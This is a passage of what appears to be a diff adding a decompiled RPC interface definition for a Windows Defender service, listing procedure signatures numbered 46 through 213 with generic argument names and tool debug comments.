[in][size_is(arg_2)]char* arg_3, + [out]long* arg_4, + [out][ref][size_is(, *arg_4)]char** arg_5, + [out]error_status_t* arg_6); + + long Proc46_ServerMpRpcConfigSetValue( + [in][string] wchar_t* arg_1, + [in][string] wchar_t* arg_2, + [in]long arg_3, + [in]long arg_4, + [in][size_is(arg_4)]char* arg_5, + [out]error_status_t* arg_6); + + long Proc47_ServerMpRpcConfigDelValue( + [in][string] wchar_t* arg_1, + [in][string] wchar_t* arg_2, + [out]error_status_t* arg_3); + + long Proc48_ServerMpRpcElevationHandleOpen( + [out]struct Struct_16_t* arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc49_ServerMpRpcElevationHandleAttach( + [in]struct Struct_16_t* arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc50_ServerMpRpcElevationHandleClose( + [in]long arg_1, + [in][out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc51_ServerMpRpcElevateCleanHandle( + [in][context_handle] void* arg_0, + [in][context_handle] void* arg_1, + [out]error_status_t* arg_2); + + long Proc52_ServerMpRpcSignatureThreatOpen( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]long arg_2, + [out][context_handle] void** arg_3, + [out]error_status_t* arg_4); + + long Proc53_ServerMpRpcSignatureThreatEnum( + [in][context_handle] void* arg_0, + [in]long arg_1, + [out][ref]struct Struct_1232_t** arg_2, + [out]error_status_t* arg_3); + + long Proc54_ServerMpRpcSignatureThreatClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc55_ServerMpRpcGetSampleInfo( + [in]long arg_1, + [in]struct Struct_16_t* arg_2, + [out][ref]struct Struct_1740_t** arg_3, + [out]error_status_t* arg_4); + + long Proc56_ServerMpRpcQueryScansWithSamples( + [in]long arg_1, + [out]long* arg_2, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_2)] /* */ struct Struct_16_t** arg_3, + [out]error_status_t* arg_4); + + long Proc57_ServerMpRpcDropScansWithSamples( + [in]long arg_1, + [in]long arg_2, + [in] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_2)] /* */ struct Struct_16_t* arg_3, + [out]error_status_t* arg_4); + + long Proc58_ServerMpRpcSpynetQueueCreate( + [in]struct Struct_16_t* arg_1, + [in]long arg_2, + [out]struct Struct_16_t* arg_3, + [out][context_handle] void** arg_4, + [out]error_status_t* arg_5); + + long Proc59_ServerMpRpcSpynetQueueQueryNotification( + [in][context_handle] void* arg_0, + [out][context_handle] void** arg_1, + [out]long* arg_2, + [out]error_status_t* arg_3); + + long Proc60_ServerMpRpcSpynetQueueClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc61_ServerMpRpcSpynetGenerateReport( + [in][context_handle] void* arg_0, + [out]long* arg_1, + [out][ref][size_is(, *arg_1)]char** arg_2, + [out]long* arg_3, + [out]struct Struct_110_t* arg_4, + [out]struct Struct_16_t* arg_5, + [out]error_status_t* arg_6); + + long Proc62_ServerMpRpcSenseGenerateReport( + [in][context_handle] void* arg_0, + [out]long* arg_1, + [out][ref][size_is(, *arg_1)]char** arg_2, + [out]error_status_t* arg_3); + + long Proc63_ServerMpRpcSpynetOnResponse( + [in][context_handle] void* arg_0, + [in]struct Struct_1872_t* arg_1, + [in]long arg_2, + [in][unique][size_is(arg_2)]char* arg_3, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_4, + [out]long* arg_5, + [out][ref][size_is(, *arg_5)]char** arg_6, + [out]error_status_t* arg_7); + + long Proc64_ServerMpRpcSpynetGetStartTime( + [in][context_handle] void* arg_0, + [out]struct Struct_28_t* arg_1, + [out]error_status_t* arg_2); + + long Proc65_ServerMpRpcSpynetUpdateSpynetMetrics( + [in][context_handle] void* arg_0, + [in]struct Struct_1920_t* arg_1, + [in]long arg_2, + [out]error_status_t* arg_3); + + long Proc66_ServerMpRpcSpynetClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc67_ServerMpRpcSigUpdServiceOpen( + [out]struct Struct_16_t* arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc68_ServerMpRpcSigUpdServiceQueryNotification( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_1978_t** arg_1, + [out]error_status_t* arg_2); + + long Proc69_ServerMpRpcSigUpdServiceSendProgressNotification( + [in][context_handle] void* arg_0, + [in]struct Struct_970_t* arg_1, + [out]error_status_t* arg_2); + + long Proc70_ServerMpRpcSigUpdServiceClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc71_ServerMpRpcSigUpdClientOpen( + [in]long arg_1, + [out]struct Struct_16_t* arg_2, + [out][context_handle] void** arg_3, + [out]error_status_t* arg_4); + + long Proc72_ServerMpRpcSigUpdClientQueryNotification( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_970_t** arg_1, + [out]error_status_t* arg_2); + + long Proc73_ServerMpRpcSigUpdClientClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc74_ServerMpRpcSigUpdControl( + [in]struct Struct_1978_t* arg_1, + [out]error_status_t* arg_2); + + long Proc75_ServerMpRpcIdleNotificationOpen( + [in][string] wchar_t* arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc76_ServerMpRpcIdleNotificationClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc77_ServerMpRpcNotifyIdle( + [in][context_handle] void* arg_0, + [in]long arg_1, + [out]error_status_t* arg_2); + + long Proc78_ServerMpRpcIdleCheckTaskCompletion( + [in][context_handle] void* arg_0, + [out]error_status_t* arg_1); + + long Proc79_ServerMpRpcThreatOpen( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [in]long arg_3, + [out][context_handle] void** arg_4, + [out]error_status_t* arg_5); + + long Proc80_ServerMpRpcThreatEnumerate( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_1232_t** arg_1, + [out]error_status_t* arg_2); + + long Proc81_ServerMpRpcThreatClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc82_ServerMpRpcDbgThreatViewAction( + [in]long arg_1, + [out]error_status_t* arg_2); + + long Proc83_ServerMpRpcForcedReboot( + [in]long arg_1, + [out]error_status_t* arg_2); + + long Proc84_MpService__CMpMapsLatencyDataIterator__Clone( + [out]error_status_t* arg_1); + + long Proc85_ServerMpRpcAddFastPathSignatureFile( + [in][string] wchar_t* arg_1, + [out][ref]struct Struct_2070_t** arg_2, + [in]long arg_3, + [out]error_status_t* arg_4); + + long Proc86_ServerMpRpcRemoveFastPathSignatureFile( + [in][string] wchar_t* arg_1, + [in]long arg_2, + [out]error_status_t* arg_3); + + long Proc87_ServerMpRpcDynamicSignatureOpen( + [in]long arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc88_ServerMpRpcDynamicSignatureEnumerate( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_2070_t** arg_1, + [out]error_status_t* arg_2); + + long Proc89_ServerMpRpcDynamicSignatureClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc90_MpService__CMpMapsLatencyDataIterator__Clone( + [out]struct Struct_16_t* arg_1, + [out][context_handle] void** arg_2, + [out]error_status_t* arg_3); + + long Proc91_MpService__CMpMapsLatencyDataIterator__Clone( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_970_t** arg_1, + [out]error_status_t* arg_2); + + long Proc92_MpService__CMpMapsLatencyDataIterator__Clone( + [in][context_handle] void* arg_0, + [out]error_status_t* arg_1); + + long Proc93_MpService__CMpMapsLatencyDataIterator__Clone( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc94_ServerMpRpcMemoryScanStart( + [in]struct Struct_126_t* arg_1, + [in]long arg_2, + [in]struct Struct_2516_t* arg_3, + [out]struct Struct_16_t* arg_4, + [out][context_handle] void** arg_5, + [out]error_status_t* arg_6); + + long Proc95_ServerMpRpcMemoryScanQueryNotification( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_970_t** arg_1, + [out]error_status_t* arg_2); + + long Proc96_ServerMpRpcMemoryScanClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc97_ServerMpRpcFastMemoryScanOpen( + [in]struct Struct_126_t* arg_1, + [out]struct Struct_2558_t* arg_2, + [out][context_handle] void** arg_3, + [out]error_status_t* arg_4); + + long Proc98_ServerMpRpcFastMemoryScan( + [in][context_handle] void* arg_0, + [in]long arg_1, + [in]struct Struct_2442_t* arg_2, + [out]struct Struct_110_t* arg_3, + [out]error_status_t* arg_4); + + long Proc99_ServerMpRpcFastMemoryScanClose( + [in][out][context_handle] void** arg_0, + [out]error_status_t* arg_1); + + long Proc100_ServerMpRpcFastMemoryScanCacheInfo( + [out]struct Struct_2558_t* arg_1, + [out]error_status_t* arg_2); + + long Proc101_ServerMpRpcAmsiCloseSession( + [in]hyper arg_1, + [out]error_status_t* arg_2); + + long Proc102_ServerMpRpcTcgLogScan( + [in]long arg_1, + [in][unique][size_is(arg_1)]char* arg_2, + [out]long* arg_3, + [out]long* arg_4, + [out][ref][size_is(, *arg_4)]char** arg_5, + [out]error_status_t* arg_6); + + long Proc103_ServerMpRpcTcgLogApplyExtResult( + [in]long arg_1, + [in][unique][size_is(arg_1)]char* arg_2, + [out]error_status_t* arg_3); + + long Proc104_ServerMpRpcDbgSendCallbackNotification( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]struct Struct_970_t* arg_2, + [out]error_status_t* arg_3); + + long Proc105_ServerMpRpcThreatRollup( + [in]long arg_1, + [in]long arg_2, + [out][ref]struct Struct_2640_t** arg_3, + [out]error_status_t* arg_4); + + long Proc106_ServerMpDetectionQuery( + [in][context_handle] void* arg_0, + [in]struct Struct_16_t* arg_1, + [out][ref]struct Struct_1232_t** arg_2, + [out]error_status_t* arg_3); + + long Proc107_ServerMpRpcRequestSnooze( + [in]long arg_1, + [out]error_status_t* arg_2); + + long Proc108_ServerMpRpcOfflineScanInstall( + [out]error_status_t* arg_1); + + long Proc109_ServerMpRpcOfflineScanStatusQuery( + [out]struct Struct_2680_t* arg_1, + [out]error_status_t* arg_2); + + long Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable( + [in][string] wchar_t* arg_1, + [out]error_status_t* arg_2); + + long Proc111_ServerMpRpcTriggerHeartbeatOnUninstall( + [out]error_status_t* arg_1); + + long Proc112_ServerMpRpcTriggerErrorHeartbeatReport( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in][string] wchar_t* arg_2, + [in][string] wchar_t* arg_3, + [in][string] wchar_t* arg_4, + [out]error_status_t* arg_5); + + long Proc113_ServerMpRpcTriggerHeartbeatReport( + [out][ref]struct Struct_1872_t** arg_1, + [out]error_status_t* arg_2); + + long Proc114_ServerMpRpcRemapCallistoDetections( + [in][string] wchar_t* arg_1, + [in]long arg_2, + [in][size_is(arg_2)]wchar_t* arg_3, + [out]error_status_t* arg_4); + + long Proc115_ServerMpRpcGetCallistoDetections( + [out]long* arg_1, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_1)] /* */ struct Struct_1232_t*** arg_2, + [out]error_status_t* arg_3); + + long Proc116_ServerMpRpcIsAdlFallbackDue( + [in][string] wchar_t* arg_1, + [out]long* arg_2, + [out]error_status_t* arg_3); + + long Proc117_ServerMpRpcIsRtpAutoEnable( + [out]long* arg_1, + [out]long* arg_2, + [out]long* arg_3, + [out]error_status_t* arg_4); + + long Proc118_ServerMpRpcEngineQueryConfigDword( + [in][string] wchar_t* arg_1, + [out]long* arg_2, + [out]error_status_t* arg_3); + + long Proc119_ServerMpRpcSampleHeaderQueueCreate( + [in]struct Struct_16_t* arg_1, + [in]long arg_2, + [out]struct Struct_16_t* arg_3, + [out][context_handle] void** arg_4, + [out]error_status_t* arg_5); + + long Proc120_ServerMpRpcSampleHeaderQueueQueryNotification( + [in][context_handle] void* arg_0, + [out][context_handle] void** arg_1, + [out]long* arg_2, + [out]error_status_t* arg_3); + + long Proc121_ServerMpRpcSampleHeaderQueueClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc122_ServerMpRpcSampleHeaderClose( + [in][out][context_handle] void** arg_1, + [out]error_status_t* arg_2); + + long Proc123_ServerMpRpcSampleHeaderGetSampleDetails( + [in][context_handle] void* arg_0, + [out][ref]struct Struct_2798_t** arg_1, + [out]error_status_t* arg_2); + + long Proc124_ServerMpRpcGetSampleChunk( + [in][string] wchar_t* arg_1, + [out]long* arg_2, + [out][ref][size_is(, *arg_2)]char** arg_3, + [out]error_status_t* arg_4); + + long Proc125_ServerMpRpcConveySampleSubmissionResult( + [in]struct Struct_2854_t* arg_1, + [out]error_status_t* arg_2); + + long Proc126_ServerMpRpcGetSampleListRequiringConsent( + [out]long* arg_1, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_1)] /* */ struct Struct_2900_t*** arg_2, + [out]error_status_t* arg_3); + + long Proc127_ServerMpRpcConveyUserChoiceForSampleList( + [in]long arg_1, + [in][unique] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_1)] /* */ struct Struct_2900_t** arg_2, + [out]error_status_t* arg_3); + + long Proc128_ServerMpRpcGetRunningMode( + [out] /* enum_32 : typedef [v1_enum] enum */ long* arg_1, + [out]error_status_t* arg_2); + + long Proc129_ServerMpRpcIsGivenRunningModeSupported( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]long* arg_2, + [out]error_status_t* arg_3); + + long Proc130_ServerMpDisableXBGM( + [out]error_status_t* arg_1); + + long Proc131_ServerMpDisableXBGM( + [out]error_status_t* arg_1); + + long Proc132_ServerMpXBGMUpdateIV( + [in]hyper arg_1, + [in]char* arg_2, + [in]hyper arg_3, + [out]error_status_t* arg_4); + + long Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + [out][ref]struct Struct_3040_t** arg_1, + [out]error_status_t* arg_2); + + long Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + [in]struct Struct_3040_t* arg_1, + [out]error_status_t* arg_2); + + long Proc135_ServerMpOnDemandStartScan2( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [in]long arg_3, + [in]long arg_4, + [in][unique] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_4)] /* */ struct Struct_476_t* arg_5, + [in]long arg_6, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_7, + [out]struct Struct_16_t* arg_8, + [out][context_handle] void** arg_9, + [out]error_status_t* arg_10); + + long Proc136_ServerMpQueryDefaultFolderGuardList( + [out]long* arg_1, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_1)] /* */ struct Struct_16_t** arg_2, + [out]error_status_t* arg_3); + + long Proc137_ServerMpRpcTriggerStatusRefreshNotification( + [out]error_status_t* arg_1); + + long Proc138_ServerMpRpcGetHIPSRuleInfo( + [out]long* arg_1, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_1)] /* */ struct Struct_3108_t*** arg_2, + [out]error_status_t* arg_3); + + long Proc139_ServerMpEnableSmartLocker( + [out]error_status_t* arg_1); + + long Proc140_ServerMpDisableSmartLocker( + [out]error_status_t* arg_1); + + long Proc141_ServerMpXBGMUpdateIV( + [in]long arg_1, + [in][size_is(arg_1)]char* arg_2, + [in]hyper arg_3, + [out]error_status_t* arg_4); + + long Proc142_ServerMpFlushLowfiCache( + [out]error_status_t* arg_1); + + long Proc143_ServerMpRpcGetAsrBlockedProcesses( + [in]struct Struct_16_t* arg_1, + [in]long arg_2, + [out]long* arg_3, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_3)] /* */ struct Struct_3166_t*** arg_4, + [out]error_status_t* arg_5); + + long Proc144_ServerMpRpcGetAsrBlockedActions( + [in]struct Struct_16_t* arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [in]long arg_3, + [out]long* arg_4, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_4)] /* */ struct Struct_3220_t*** arg_5, + [out]error_status_t* arg_6); + + long Proc145_ServerMpRpcDeleteAsrHistory( + [out]error_status_t* arg_1); + + long Proc146_ServerMpGetTaskSchedulerStrings( + [out][ref]struct Struct_3280_t** arg_1, + [out]error_status_t* arg_2); + + long Proc147_ServerMpRpcGetAsrBlockedActionInfos( + [in]struct Struct_16_t* arg_1, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_2, + [in]long arg_3, + [out]long* arg_4, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_4)] /* */ struct Struct_3302_t*** arg_5, + [out]error_status_t* arg_6); + + long Proc148_ServerMpRpcGetTPStateInfo( + [out]struct Struct_3350_t* arg_1, + [out]error_status_t* arg_2); + + long Proc149_ServerMpRpcSetTPState( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out]error_status_t* arg_2); + + long Proc150_ServerMpRpcUpdateDevMode( + [out]long* arg_1, + [out]error_status_t* arg_2); + + long Proc151_ServerMpRpcGetDevMode( + [out]long* arg_1, + [out]error_status_t* arg_2); + + long Proc152_ServerMpUpdateBreakTheGlassStatus( + [in]long arg_1, + [in][string] wchar_t* arg_2, + [in][string] wchar_t* arg_3, + [out]error_status_t* arg_4); + + long Proc153_ServerMpNetworkCapture( + [in][string] wchar_t* arg_1, + [out]error_status_t* arg_2); + + long Proc154_ServerMpConveyDlpBypass( + [in]long arg_1, + [in][unique][string] wchar_t* arg_2, + [in][unique][string] wchar_t* arg_3, + [in][unique][string] wchar_t* arg_4, + [out]error_status_t* arg_5); + + long Proc155_ServerDlpMpCheckAccessForPrintOperation( + [in]long arg_1, + [in]hyper arg_2, + [in][unique][string] wchar_t* arg_3, + [in][unique][string] wchar_t* arg_4, + [in][unique][string] wchar_t* arg_5, + [in]long arg_6, + [out]long* arg_7, + [out]error_status_t* arg_8); + + long Proc156_ServerDlpMpConveyNewPrinterConnection( + [in][unique][string] wchar_t* arg_1, + [in][unique][string] wchar_t* arg_2, + [in][unique][string] wchar_t* arg_3, + [in]long arg_4, + [out]error_status_t* arg_5); + + long Proc157_ServerMpShowDlpDetailsDialog( + [in][unique][string] wchar_t* arg_1, + [in]long arg_2, + [in][unique][string] wchar_t* arg_3, + [in]long arg_4, + [out]error_status_t* arg_5); + + long Proc158_ServerMpRpcGetDlpEvents( + [in]long arg_1, + [out]long* arg_2, + [out][ref] /* [DBG] FC_BOGUS_ARRAY */[size_is(, *arg_2)] /* */ struct Struct_3370_t*** arg_3, + [out]error_status_t* arg_4); + + long Proc159_ServerMpRpcConveyUserChoiceForDlpNotification( + [in]long arg_1, + [in][unique] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_1)] /* */ struct Struct_3370_t** arg_2, + [in][unique][string] wchar_t* arg_3, + [in]long arg_4, + [in][unique][string] wchar_t* arg_5, + [in]long arg_6, + [out]error_status_t* arg_7); + + long Proc160_ServerMpRpcChangeCapability( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]long arg_2, + [in]long arg_3, + [out]error_status_t* arg_4); + + long Proc161_ServerMpRpcMpThreatAction( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [in]struct Struct_3570_t* arg_2, + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_3, + [out]error_status_t* arg_4); + + long Proc162_ServerMpRpcAsrSetHipsUserExclusion( + [in]long arg_1, + [in]struct Struct_16_t* arg_2, + [in]long arg_3, + [in]long arg_4, + [in]long arg_5, + [in][unique][string] wchar_t* arg_6, + [in][unique][string] wchar_t* arg_7, + [in][unique][string] wchar_t* arg_8, + [in][unique][string] wchar_t* arg_9, + [out]error_status_t* arg_10); + + long Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx( + [in]long arg_1, + [in]hyper arg_2, + [in]long arg_3, + [out]long* arg_4, + [out]long* arg_5, + [out]long* arg_6, + [out]error_status_t* arg_7); + + long Proc164_ServerMpRpcQueryConfigProtection( + [in][string] wchar_t* arg_1, + [in][string] wchar_t* arg_2, + [in]long arg_3, + [out]long* arg_4, + [out]error_status_t* arg_5); + + long Proc165_ServerMpRpcCheckAccessForDragDropOperation( + [in]long arg_1, + [in]hyper arg_2, + [in]long arg_3, + [in]long arg_4, + [in]hyper arg_5, + [in]long arg_6, + [in][unique][size_is(arg_6)]char* arg_7, + [out]long* arg_8, + [out]error_status_t* arg_9); + + long Proc166_ServerMpRpcUpdateBrowserActiveTab( + [in][string] wchar_t* arg_1, + [in]long arg_2, + [in]long arg_3, + [in][string] wchar_t* arg_4, + [in]long arg_5, + [out]error_status_t* arg_6); + + long Proc167_ServerMpRpcSendBrowserHeartbeat( + [in][string] wchar_t* arg_1, + [in]long arg_2, + [in]hyper arg_3, + [in]long arg_4, + [out]hyper* arg_5, + [out]error_status_t* arg_6); + + long Proc168_ServerMpRpcGetThreatExecutionInfo( + [in]hyper arg_1, + [in]long arg_2, + [out][ref]struct Struct_3654_t** arg_3, + [out]error_status_t* arg_4); + + long Proc169_ServerMpRpcReportClipboardOwner( + [in]long arg_1, + [in]hyper arg_2, + [in]long arg_3, + [out]error_status_t* arg_4); + + long Proc170_ServerMpRpcDlpDelegateEnforcement( + [in]long arg_1, + [out]error_status_t* arg_2); + + long Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx( + [in]long arg_1, + [in][unique] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_3)] /* */ struct Struct_3370_t** arg_2, + [in]long arg_3, + [in][unique][string] wchar_t* arg_4, + [in]long arg_5, + [in][unique][string] wchar_t* arg_6, + [in]long arg_7, + [out]error_status_t* arg_8); + + long Proc172_ServerMpRpcSendDeviceControlToast( + [in]long arg_1, + [in][unique][string] wchar_t* arg_2, + [in][unique][string] wchar_t* arg_3, + [in][unique][string] wchar_t* arg_4, + [out]error_status_t* arg_5); + + long Proc173_ServerMpRpcIsDeviceControlAvailable( + [out]long* arg_1, + [out]error_status_t* arg_2); + + long Proc174_ServerMpRpcGetFCValue( + [in]hyper arg_1, + [out]long* arg_2, + [out]error_status_t* arg_3); + + long Proc175_ServerMpRpcSetDriverUnloadInProgress( + [in]char arg_1, + [out]error_status_t* arg_2); + + long Proc176_ServerMpRpcUpdateTSMode( + [in][string] wchar_t* arg_1, + [out]error_status_t* arg_2); + + long Proc177_ServerMpRpcGetTSModeInfo( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out][ref]struct Struct_3800_t** arg_2, + [out]error_status_t* arg_3); + + long Proc178_ServerMpCheckAccessForPrintOperation2( + [in]long arg_1, + [in]hyper arg_2, + [in][unique][string] wchar_t* arg_3, + [in][unique][string] wchar_t* arg_4, + [in][unique][string] wchar_t* arg_5, + [in]long arg_6, + [in][out][unique]long* arg_7, + [out]long* arg_8, + [out]error_status_t* arg_9); + + long Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2( + [in]long arg_1, + [in]hyper arg_2, + [in][unique]struct Struct_3824_t* arg_3, + [in][unique]struct Struct_3824_t* arg_4, + [in]long arg_5, + [out]long* arg_6, + [out]long* arg_7, + [out]long* arg_8, + [out]error_status_t* arg_9); + + long Proc180_ServerMpRpcCheckAccessForDragDropOperation2( + [in]long arg_1, + [in]hyper arg_2, + [in]long arg_3, + [in]long arg_4, + [in]hyper arg_5, + [in]long arg_6, + [in][unique][size_is(arg_6)]char* arg_7, + [in][unique]struct Struct_3824_t* arg_8, + [in][unique]struct Struct_3824_t* arg_9, + [out]long* arg_10, + [out]error_status_t* arg_11); + + long Proc181_ServerMpRpcDlpInitializeEnforcementMode( + [in]long arg_1, + [in][unique] /* [DBG] FC_BOGUS_ARRAY */[size_is(arg_1)] /* */ struct Struct_126_t* arg_2, + [out]error_status_t* arg_3); + + long Proc182_ServerMpRpcDlpGetOperationEnforcmentMode( + [in]long arg_1, + [out]long* arg_2, + [out]error_status_t* arg_3); + + long Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile( + [in]struct Struct_3824_t* arg_1, + [out]error_status_t* arg_2); + + long Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile( + [in]struct Struct_3824_t* arg_1, + [in][unique]struct Struct_126_t* arg_2, + [out]error_status_t* arg_3); + + long Proc185_ServerMpRpcDlpNotifyCloseDocumentFile( + [in][unique]struct Struct_3824_t* arg_1, + [out]error_status_t* arg_2); + + long Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument( + [in]struct Struct_3824_t* arg_1, + [in][unique][string] wchar_t* arg_2, + [out]error_status_t* arg_3); + + long Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument( + [in]struct Struct_3824_t* arg_1, + [in][unique][string] wchar_t* arg_2, + [in][unique]struct Struct_126_t* arg_3, + [out]error_status_t* arg_4); + + long Proc188_ServerMpRpcDlpNotifyPrePrint( + [in]struct Struct_3824_t* arg_1, + [in][unique]struct Struct_3880_t* arg_2, + [out]error_status_t* arg_3); + + long Proc189_ServerMpRpcDlpNotifyPostStartPrint( + [in][unique]struct Struct_3824_t* arg_1, + [in][unique]struct Struct_3880_t* arg_2, + [in][unique]struct Struct_126_t* arg_3, + [out]error_status_t* arg_4); + + long Proc190_ServerMpGetTDTFeatureStatus( + [out]long* arg_1, + [out]error_status_t* arg_2); + + long Proc191_ServerMpRpcGetDeviceControlSecurityPolicies( + [out][ref][string] wchar_t** arg_1, + [out][ref][string] wchar_t** arg_2, + [out]error_status_t* arg_3); + + long Proc192_ServerMpRpcGetSACInfo( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out][ref]struct Struct_3958_t** arg_2, + [out]error_status_t* arg_3); + + long Proc193_ServerMpGetTDTFeatureStatusEx( + [in] /* enum_32 : typedef [v1_enum] enum */ long arg_1, + [out][ref]struct Struct_4158_t** arg_2, + [out]error_status_t* arg_3); + + long Proc194_ServerMpRpcGetDeviceControlStatus( + [out]struct Struct_4178_t* arg_1, + [out]error_status_t* arg_2); + + long Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo( + [in][context_handle] void* arg_0, + [out]struct Struct_4194_t* arg_1, + [out]error_status_t* arg_2); + + long Proc196_ServerMpDisableXBGM( + [out]error_status_t* arg_1); + + long Proc197_ServerMpRpcDefenderPrintAccessCheck( + [in]long arg_1, + [in][string] wchar_t* arg_2, + [out]long* arg_3, + [out]hyper* arg_4, + [out]long* arg_5, + [out]error_status_t* arg_6); + + long Proc198_ServerMpRpcDeviceControlPrintAccessCheck( + [in]long arg_1, + [in][string] wchar_t* arg_2, + [out]long* arg_3, + [out]hyper* arg_4, + [out]long* arg_5, + [out]error_status_t* arg_6); + + long Proc199_ServerMpRpcDefenderPrintDataProvide( + [in]hyper arg_1, + [in]long arg_2, + [in][unique][size_is(arg_2)]char* arg_3, + [out]error_status_t* arg_4); + + long Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare( + [in][string] wchar_t* arg_1, + [in]long arg_2, + [in][unique][size_is(arg_2)]char* arg_3, + [out]error_status_t* arg_4); + + long Proc201_ServerMpRpcApplyTrustLabelAceForMDE( + [in][string] wchar_t* arg_1, + [in]long arg_2, + [out]error_status_t* arg_3); + + long Proc202_ServerMpGetNpSupportFile( + [out][ref][string] wchar_t** arg_1, + [out]error_status_t* arg_2); + + long Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + [out]long* arg_1, + [out]error_status_t* arg_2); + + long Proc204_ServerMpRpcConfigRefresh( + [in][string] wchar_t* arg_1, + [out]error_status_t* arg_2); + + long Proc205_ServerMpServiceLogMessage( + [in][string] wchar_t* arg_1, + [out]error_status_t* arg_2); + + long Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration( + [in][string] wchar_t* arg_1, + [out][ref][string] wchar_t** arg_2, + [out]error_status_t* arg_3); + + long Proc207_ServerMpRpcDlpGetEvidenceFileUrl( + [in]long arg_1, + [in][string] wchar_t* arg_2, + [in]long arg_3, + [in][unique][string] wchar_t* arg_4, + [in][unique][string] wchar_t* arg_5, + [out][ref][string] wchar_t** arg_6, + [out][ref][string] wchar_t** arg_7, + [out]error_status_t* arg_8); + + long Proc208_ServerMpRpcDlpCheckAccessForBuffer( + [in]long arg_1, + [in][size_is(arg_1)]char* arg_2, + [in]long arg_3, + [in][unique][string] wchar_t* arg_4, + [out]long* arg_5, + [out][ref][size_is(, *arg_5)]char** arg_6, + [out][ref][string] wchar_t** arg_7, + [out][ref][string] wchar_t** arg_8, + [out]error_status_t* arg_9); + + long Proc209_ServerMpRpcDevVolumesProtectionState( + [out] /* enum_32 : typedef [v1_enum] enum */ long* arg_1, + [out]error_status_t* arg_2); + + long Proc210_ServerMpRpcQueryDevVolumeProtectionState( + [in][string] wchar_t* arg_1, + [out] /* enum_32 : typedef [v1_enum] enum */ long* arg_2, + [out]error_status_t* arg_3); + + long Proc211_ServerMpRpcDlpDispatchAccessEvent( + [in]struct Struct_4208_t* arg_1, + [out]error_status_t* arg_2); + + long Proc212_ServerMpRpcCheckAccessForCopyFile( + [in]long arg_1, + [in]long arg_2, + [in]long arg_3, + [in]hyper arg_4, + [in][string] wchar_t* arg_5, + [in][string] wchar_t* arg_6, + [in][string] wchar_t* arg_7, + [out]long* arg_8, + [out]error_status_t* arg_9); + + long Proc213_ServerMpRpcAsrSetHipsUserExclusionEx( + [in][string] wchar_t* arg_1, + [out]error_status_t* arg_2); + + long 